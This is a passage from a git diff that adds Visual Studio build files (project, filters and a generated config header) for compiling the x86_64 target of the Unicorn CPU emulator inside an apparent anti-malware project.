Include="..\..\..\qemu\include\exec\ram_addr.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\softmmu-semi.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\spinlock.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\fpu\softfloat.h"> + <Filter>qemu\include\fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\boards.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\hw.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\irq.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\qdev-core.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\qdev.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\arm\arm.h"> + <Filter>qemu\include\hw\arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\cpu\icc_bus.h"> + <Filter>qemu\include\hw\cpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\i386\apic.h"> + <Filter>qemu\include\hw\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\i386\apic_internal.h"> + <Filter>qemu\include\hw\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\i386\pc.h"> + <Filter>qemu\include\hw\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\m68k\m68k.h"> + <Filter>qemu\include\hw\m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\m68k\mcf.h"> + <Filter>qemu\include\hw\m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\mips\bios.h"> + <Filter>qemu\include\hw\mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\mips\cpudevs.h"> + <Filter>qemu\include\hw\mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\mips\mips.h"> + <Filter>qemu\include\hw\mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\grlib.h"> + <Filter>qemu\include\hw\sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sparc.h"> + <Filter>qemu\include\hw\sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sparc32_dma.h"> + <Filter>qemu\include\hw\sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sun4m.h"> + <Filter>qemu\include\hw\sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\dealloc-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\error.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\opts-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp-input-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp-output-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\string-input-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\visitor-impl.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qbool.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qdict.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qerror.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qfloat.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qint.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qjson.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qlist.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qobject.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qstring.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\types.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\aes.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\atomic.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\bitmap.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\bitops.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\bswap.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\compiler.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\crc32c.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\host-utils.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\int128.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\log.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\module.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\notify.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\osdep.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\queue.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\range.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\thread-posix.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\thread-win32.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\thread.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\timer.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\typedefs.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qom\cpu.h"> + <Filter>qemu\include\qom</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qom\object.h"> + <Filter>qemu\include\qom</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qom\qom-qobject.h"> + <Filter>qemu\include\qom</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\accel.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\cpus.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\memory_mapping.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\os-win32.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\sysemu.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\include\unicorn\arm.h" /> + <ClInclude Include="..\..\..\include\unicorn\arm64.h" /> + <ClInclude Include="..\..\..\include\unicorn\m68k.h" /> + <ClInclude Include="..\..\..\include\unicorn\mips.h" /> + <ClInclude Include="..\..\..\include\unicorn\sparc.h" /> + <ClInclude Include="..\..\..\include\unicorn\unicorn.h" /> + <ClInclude Include="..\..\..\include\unicorn\x86.h" /> + <ClInclude Include="..\..\..\include\unicorn\platform.h" /> + <ClInclude Include="..\config-host.h"> + <Filter>qemu</Filter> + </ClInclude> + <ClInclude Include="..\qapi-visit.h"> + <Filter>qemu</Filter> + </ClInclude> + <ClInclude Include="..\qapi-types.h"> + <Filter>qemu</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <MASM Include="..\..\..\qemu\util\setjmp-wrapper-win32.asm" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/config-target.h new file mode 100644 index 0000000..3edfc5d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/config-target.h @@ -0,0 +1,5 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_X86_64 1 +#define TARGET_NAME "x86_64" +#define TARGET_I386 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/x86_64-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/x86_64-softmmu.vcxproj new file mode 100644 index 0000000..b8c471e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/x86_64-softmmu.vcxproj @@ -0,0 +1,243 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\cc_helper_template.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\ops_sse.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\ops_sse_header.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\shift_helper_template.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\svm.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\topology.h" /> + <ClInclude Include="..\..\..\qemu\target-i386\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\x86_64.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\i386\pc.c" /> + <ClCompile Include="..\..\..\qemu\hw\i386\pc_piix.c" /> + <ClCompile Include="..\..\..\qemu\hw\intc\apic.c" /> + <ClCompile Include="..\..\..\qemu\hw\intc\apic_common.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\arch_memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\cc_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\excp_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\fpu_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\int_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\mem_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\misc_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\seg_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\smm_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\svm_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-i386\unicorn.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{17077E86-AE7C-41AF-86ED-2BAC03B019BC}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>x86_64softmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-i386;../../../include</AdditionalIncludeDirectories> + <ForcedIncludeFiles>x86_64.h</ForcedIncludeFiles> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <ExceptionHandling>false</ExceptionHandling> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-i386;../../../include</AdditionalIncludeDirectories> + <ForcedIncludeFiles>x86_64.h</ForcedIncludeFiles> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-i386;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>x86_64.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-i386;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>x86_64.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/x86_64-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/x86_64-softmmu.vcxproj.filters new file mode 100644 index 0000000..2ee64ce --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/x86_64-softmmu.vcxproj.filters @@ -0,0 +1,164 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{db59a62f-c036-40c3-9dd8-8b30c9f06415}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{42fe7224-78f7-45a5-a173-9ed3bdeb1985}</UniqueIdentifier> + </Filter> + <Filter Include="hw\i386"> + <UniqueIdentifier>{f33c9635-4286-435a-ab9c-3f2f245ce7f9}</UniqueIdentifier> + </Filter> + <Filter Include="hw\intc"> + <UniqueIdentifier>{afdb0084-499f-46ea-97a2-6920a8f64800}</UniqueIdentifier> + </Filter> + <Filter Include="target-i386"> + <UniqueIdentifier>{dc6b560b-40ea-47a1-91f1-50718313849f}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{d3a1fd5b-09b0-4896-af49-5b3668f03a72}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{9b7b99b2-982e-46b5-aff2-1ff3a353d3db}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\cpu-qom.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\cc_helper_template.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\cpu.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\helper.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\ops_sse.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\ops_sse_header.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\shift_helper_template.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\svm.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\topology.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-i386\unicorn.h"> + <Filter>target-i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\x86_64.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\i386\pc.c"> + <Filter>hw\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\i386\pc_piix.c"> + <Filter>hw\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\intc\apic.c"> + <Filter>hw\intc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\intc\apic_common.c"> + <Filter>hw\intc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\arch_memory_mapping.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\cc_helper.c"> + 